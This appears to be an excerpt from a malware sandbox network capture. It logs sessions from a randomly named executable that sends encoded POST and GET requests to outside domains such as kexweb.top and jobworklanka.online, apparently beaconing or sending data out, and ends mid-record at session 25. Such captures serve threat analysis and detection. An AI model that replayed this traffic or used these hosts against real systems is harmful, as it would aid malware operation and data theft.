-NnllVvH=rNrPDBiknVqXu7iW5anTXuX6saoNL5kR2rWkr2v2eWerLhnqiybYzFYnF4sLOkQhKUbXrrv3kaFs2BM4mfQ4hUwbi7pzoT2MjoLTpgtnZRayDl0l+XOMarHqKM0ZXAmimlK+M8US5DzPq5eUDATDFkWBYFt4O2EAshU+25maidCRdaswdiFn15fnyoq6MsdioEAkGSJU4Ia8g5WD1KtR4xI=
Oct 8, 2024 16:35:24.220685005 CEST	595	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:24 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50023	63.250.47.40	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:26.255626917 CEST	10908	OUT	POST /3bdq/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.kexweb.top Origin: http://www.kexweb.top Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.kexweb.top/3bdq/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 72 4e 72 50 44 42 69 6b 6e 56 71 58 75 37 69 57 35 61 6e 54 58 75 58 36 73 61 6f 4e 4c 35 6b 52 32 72 57 6b 72 32 76 32 65 57 6d 72 4c 54 66 71 6c 6c 76 59 79 46 59 6e 62 6f 73 4b 4f 6b 51 47 4b 51 33 54 72 72 79 43 6b 63 4a 73 33 6e 77 34 68 72 38 34 72 55 77 62 71 62 70 2b 6e 7a 33 4d 6a 6f 62 58 70 67 39 6e 5a 52 61 79 44 6e 73 6c 70 56 32 4d 59 72 48 70 65 63 30 46 45 51 6d 4b 6d 68 66 47 4d 38 51 43 35 7a 54 50 72 5a 4f 55 42 79 37 44 61 55 57 44 62 46 73 2b 4f 32 59 54 73 68 49 59 32 36 37 50 69 62 2b 52 66 4c 46 70 59 51 4e 4b 68 49 62 38 73 61 32 65 4a 66 42 61 77 32 41 2b 41 78 70 2f 76 4a 79 73 73 37 33 48 73 4c 46 48 72 6e 71 59 30 61 35 56 51 35 4f 61 73 33 48 72 58 64 6d 42 78 73 36 58 6b 48 79 2b 77 2f 78 73 59 4d 2b 34 37 2f 44 44 6a 51 33 75 69 78 4b 4b 43 6c 35 72 33 57 31 2f 63 35 42 66 6f 37 63 48 4f 71 51 58 4c 52 41 7a 52 71 57 32 72 50 73 48 61 44 4e 67 6d 38 6a 51 2b 2b 78 72 4d 6e 73 59 6c 33 57 2f 52 2f 76 6a 32 6d 4e 49 59 78 6e 44 31 6b 38 6d 71 [TRUNCATED] Data Ascii: -NnllVvH=rNrPDBiknVqXu7iW5anTXuX6saoNL5kR2rWkr2v2eWmrLTfqllvYyFYnbosKOkQGKQ3TrryCkcJs3nw4hr84rUwbqbp+nz3MjobXpg9nZRayDnslpV2MYrHpec0FEQmKmhfGM8QC5zTPrZOUBy7DaUWDbFs+O2YTshIY267Pib+RfLFpYQNKhIb8sa2eJfBaw2A+Axp/vJyss73HsLFHrnqY0a5VQ5Oas3HrXdmBxs6XkHy+w/xsYM+47/DDjQ3uixKKCl5r3W1/c5Bfo7cHOqQXLRAzRqW2rPsHaDNgm8jQ++xrMnsYl3W/R/vj2mNIYxnD1k8mqBk1qcRIQ2qPLkNBc97jN/CnYknIqJfH6EE1EZFqF75NCudq1f1GRkOniOUy3tPLyfPbeORsdTL87iZkiv93QOZrGqRUPoiUdVBYWo0uv1okAgpVCADYoQTr5Wo/ex2FwFJnySXLB1zjfRD6uRvixTFHjmpTW7t8PGP3s6ptGDil0AM2Qp6lQBOXqXZnaqOCQ0SNdlpGtshq3l0r/3qOStmrg7f/GnPqMqKjjqlnRIeQ2R4Yd/jgcL3gZ8MBOQKeimNSeKQN215WoFGMdVjcglEz5c76PHMMsBmqdnAQtBoKpYGVdEpKFIKCpgy6xJ6kXtrl/HDw8YoRRmlV8pv+qEeORZsZVQ+h4utwUQlyoPH3tE7/J0pz/AvAqFlVqoVrbNPRba+kuok7lZxvuxEPxcjnTDmrtJSjYi1m4RBtoWQEPQSJ3V0nnmPu60djR7WQ1gtWdNzwA50rlE+1fYqZt/COqLQQfBFbARSAnodqMrboreadfgrzeS0MocvxoZB5TjzvfIR6UDHdlVjeJCA9nS/zRNASLUqUI+h2+mJCBYUrDEta5cfmrCJl8QZte87+FQ4vcTyvdFrC++KaQd33SAu5p2UgGC31KVKdILrASegVB7QM9k4h+ybWERGjbvTfu8HTQgQOxrQc57BX41Tbg/3B9vvmBnFh5/c [TRUNCATED]
Oct 8, 2024 16:35:26.921124935 CEST	595	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:26 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50024	63.250.47.40	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:28.818638086 CEST	553	OUT	GET /3bdq/?-NnllVvH=mPDvA1qI3GiuntP60bqgVobnrbMnRYp61+amzFfuWlPCagi05gb63n03Sa0iFCs5HVPasI6LuL9f8nEGr4Exu2k3ruJCpl2j2bvSmTd+X0q2Ansy3FLMFak=&e6mhx=LZwxPLrhqt_8A HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.kexweb.top Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:35:29.400230885 CEST	610	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:29 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 389 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50025	91.184.0.200	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:34.452384949 CEST	833	OUT	POST /ikh0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.jobworklanka.online Origin: http://www.jobworklanka.online Content-Type: application/x-www-form-urlencoded Content-Length: 205 Connection: close Cache-Control: max-age=0 Referer: http://www.jobworklanka.online/ikh0/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 6f 74 5a 63 79 65 48 58 52 73 55 61 6b 63 74 66 75 64 76 48 48 58 71 6c 57 47 2f 36 79 52 51 68 64 31 72 4c 32 54 43 2f 47 6a 49 6f 75 77 6e 30 42 37 36 65 65 6f 4f 64 61 35 6e 6c 47 55 39 6b 4d 33 69 4b 44 57 6a 61 49 70 48 63 30 44 79 41 4d 51 57 71 68 4c 6d 6d 4f 6f 4e 6f 6f 67 59 72 64 6a 77 74 51 35 6e 34 62 48 4c 70 71 39 77 48 74 69 68 6c 38 72 6c 78 35 52 63 49 4e 31 4f 33 31 68 69 62 31 6c 44 30 64 48 36 49 63 4f 2b 31 49 63 65 78 49 32 52 51 37 5a 57 54 48 32 50 75 42 47 6e 63 6a 34 55 78 52 44 61 6c 37 2b 63 50 52 74 58 72 76 44 45 67 63 44 36 7a 70 31 71 41 54 41 3d 3d Data Ascii: -NnllVvH=otZcyeHXRsUakctfudvHHXqlWG/6yRQhd1rL2TC/GjIouwn0B76eeoOda5nlGU9kM3iKDWjaIpHc0DyAMQWqhLmmOoNoogYrdjwtQ5n4bHLpq9wHtihl8rlx5RcIN1O31hib1lD0dH6IcO+1IcexI2RQ7ZWTH2PuBGncj4UxRDal7+cPRtXrvDEgcD6zp1qATA==
Oct 8, 2024 16:35:35.132344961 CEST	500	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:34 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50026	91.184.0.200	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:36.998725891 CEST	853	OUT	POST /ikh0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.jobworklanka.online Origin: http://www.jobworklanka.online Content-Type: application/x-www-form-urlencoded Content-Length: 225 Connection: close Cache-Control: max-age=0 Referer: http://www.jobworklanka.online/ikh0/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 6f 74 5a 63 79 65 48 58 52 73 55 61 6b 39 64 66 74 38 76 48 41 33 71 6b 4b 57 2f 36 39 78 51 6c 64 31 6e 4c 32 52 75 76 47 57 67 6f 76 52 58 30 41 36 36 65 54 49 4f 64 51 5a 6e 67 4c 30 39 37 4d 33 75 43 44 58 50 61 49 70 6a 63 30 44 43 41 4e 6e 69 70 6e 62 6d 6f 56 34 4e 51 6c 41 59 72 64 6a 77 74 51 35 79 6a 62 47 76 70 72 4e 41 48 76 48 4e 6b 32 4c 6c 77 70 78 63 49 66 46 4f 7a 31 68 6a 38 31 6b 65 54 64 42 32 49 63 4d 6d 31 49 4a 72 6e 44 32 51 36 31 35 58 5a 45 6d 72 2b 50 6b 32 72 68 37 41 4b 51 78 75 30 33 59 4e 56 41 63 32 38 39 44 67 54 42 45 7a 48 6b 32 58 4a 49 4a 7a 31 61 57 64 37 65 49 64 58 46 61 66 4b 53 79 41 31 51 77 51 3d Data Ascii: -NnllVvH=otZcyeHXRsUak9dft8vHA3qkKW/69xQld1nL2RuvGWgovRX0A66eTIOdQZngL097M3uCDXPaIpjc0DCANnipnbmoV4NQlAYrdjwtQ5yjbGvprNAHvHNk2LlwpxcIfFOz1hj81keTdB2IcMm1IJrnD2Q615XZEmr+Pk2rh7AKQxu03YNVAc289DgTBEzHk2XJIJz1aWd7eIdXFafKSyA1QwQ=
Oct 8, 2024 16:35:37.637835026 CEST	500	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:37 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	50027	91.184.0.200	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:39.753546953 CEST	10935	OUT	POST /ikh0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.jobworklanka.online Origin: http://www.jobworklanka.online Content-Type: application/x-www-form-urlencoded Content-Length: 10305 Connection: close Cache-Control: max-age=0 Referer: http://www.jobworklanka.online/ikh0/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 2d 4e 6e 6c 6c 56 76 48 3d 6f 74 5a 63 79 65 48 58 52 73 55 61 6b 39 64 66 74 38 76 48 41 33 71 6b 4b 57 2f 36 39 78 51 6c 64 31 6e 4c 32 52 75 76 47 57 34 6f 76 6a 66 30 41 5a 53 65 63 6f 4f 64 4c 5a 6e 68 4c 30 39 79 4d 7a 43 47 44 58 79 74 49 76 6e 63 79 67 36 41 45 7a 2b 70 70 62 6d 6f 63 59 4e 72 6f 67 59 2b 64 6a 41 70 51 35 69 6a 62 47 76 70 72 4f 59 48 6d 79 68 6b 77 4c 6c 78 35 52 63 45 4e 31 4f 58 31 6c 48 47 31 6b 61 70 63 78 57 49 62 73 32 31 45 62 44 6e 42 57 52 63 32 35 57 4d 45 6d 57 35 50 6b 36 64 68 36 45 67 51 79 79 30 30 76 49 7a 46 76 2b 56 72 31 77 53 44 6b 58 63 6b 45 36 51 4e 49 4f 51 52 57 56 67 49 38 46 58 66 37 79 62 48 67 6b 2b 4d 31 7a 4c 66 65 75 78 32 2f 6b 52 35 69 2f 4a 52 66 77 2b 7a 44 4f 38 62 59 2b 4e 70 55 35 6a 6b 5a 54 56 69 45 32 56 33 31 58 6d 79 65 77 78 36 4a 58 36 61 42 79 72 78 31 30 70 69 63 34 62 43 47 38 48 71 6c 62 57 31 56 30 65 53 36 4e 45 33 67 46 4d 58 48 53 58 62 65 45 46 54 50 50 44 6b 4a 32 70 6d 6d 53 75 50 71 39 76 33 54 72 63 47 39 6b 36 79 [TRUNCATED] Data Ascii: -NnllVvH=otZcyeHXRsUak9dft8vHA3qkKW/69xQld1nL2RuvGW4ovjf0AZSecoOdLZnhL09yMzCGDXytIvncyg6AEz+ppbmocYNrogY+djApQ5ijbGvprOYHmyhkwLlx5RcEN1OX1lHG1kapcxWIbs21EbDnBWRc25WMEmW5Pk6dh6EgQyy00vIzFv+Vr1wSDkXckE6QNIOQRWVgI8FXf7ybHgk+M1zLfeux2/kR5i/JRfw+zDO8bY+NpU5jkZTViE2V31Xmyewx6JX6aByrx10pic4bCG8HqlbW1V0eS6NE3gFMXHSXbeEFTPPDkJ2pmmSuPq9v3TrcG9k6y7/zvRmh0e4enPpsIBSDjoKk3erOT56EHMjs8gGo1YKlDN7SkPVZipQuCdSvp/nvemte90OZB1XLFUtBy8OWUTcn4l6cowsSt94oT1c2hmH3Q8rtYAfMc4uh9QZ9dn86sR8YHV+w+wHtlFOXqedOZnT5UGzScIBm8vxqbVbCm3wo29GoH+cocsfLqibj+cFzGfR7ZF6Ji6nF5qPnWzbcMyENkpU2vxavQjhi32LavedADP4ZucC4uwblFgkHoJVJgvb1MdP2Pp4K3nvloHyETmL1WBY+rq0VuDvyl2ypPh1ZcbWIFEt8wwfpolRGaQtlbC1xf8RtCmVz+vuMCJuH0Ouv8Z//Mu/8WyZ0RLKqnyAqLTkzEbe6PMLapOMmsH4AWyfqZ4RnMk1qGlpbK2NDA5LJS7qeN3fprZWtVW8yYugK8izpaEyyEHDGUlJYpV1eVqwou0JS+bCzpyBjBpVYbyuxx8Y1iFG/2lonKgKvykkNV5hW6kgJI+SrJ5QnQ1LLQeiIt4N3g/IMUQz7e1A2z9F4T2lvzvSYznE/HOAoGa2h8H239FgXpAP8d6C1ONHU8Y2eEAWZ3vvww6zA7PLU91OpU7E1pam5j5NkY0Ojf5fo6HwNNz5j9y5IitJkjYd+0a0QkovblLupgpvX+irnP3ZIuT4crgepDqb [TRUNCATED]
Oct 8, 2024 16:35:40.493004084 CEST	500	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:40 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50028	91.184.0.200	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 16:35:42.287867069 CEST	562	OUT	GET /ikh0/?e6mhx=LZwxPLrhqt_8A&-NnllVvH=lvx8xqKuEeZXr5ITqNCHPh3uOhDJ1jEsZETVjxqXK0Zv2i3/Db6zT6O/acvvHmVSaGyiGmLaE43R+XLSCAO1vJ6qU/h+jhYmRiU/b4DSTDHjmvsEtFplu6A= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Host: www.jobworklanka.online Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 8, 2024 16:35:42.902800083 CEST	500	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 14:35:42 GMT Server: Apache X-Xss-Protection: 1; mode=block Referrer-Policy: no-referrer-when-downgrade X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Length: 196 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	50029	13.248.169.48	80	2844	C:\Program Files (x86)\nBZsoeShtiRFZWDJaFbPRYrKpKKMGNRMkspbHPHhwFJbwKNWOIybbDSualJqkBGoZjnHG\IqZHJpXEsts.exe

Timestamp	Bytes transferred	Direction	Data
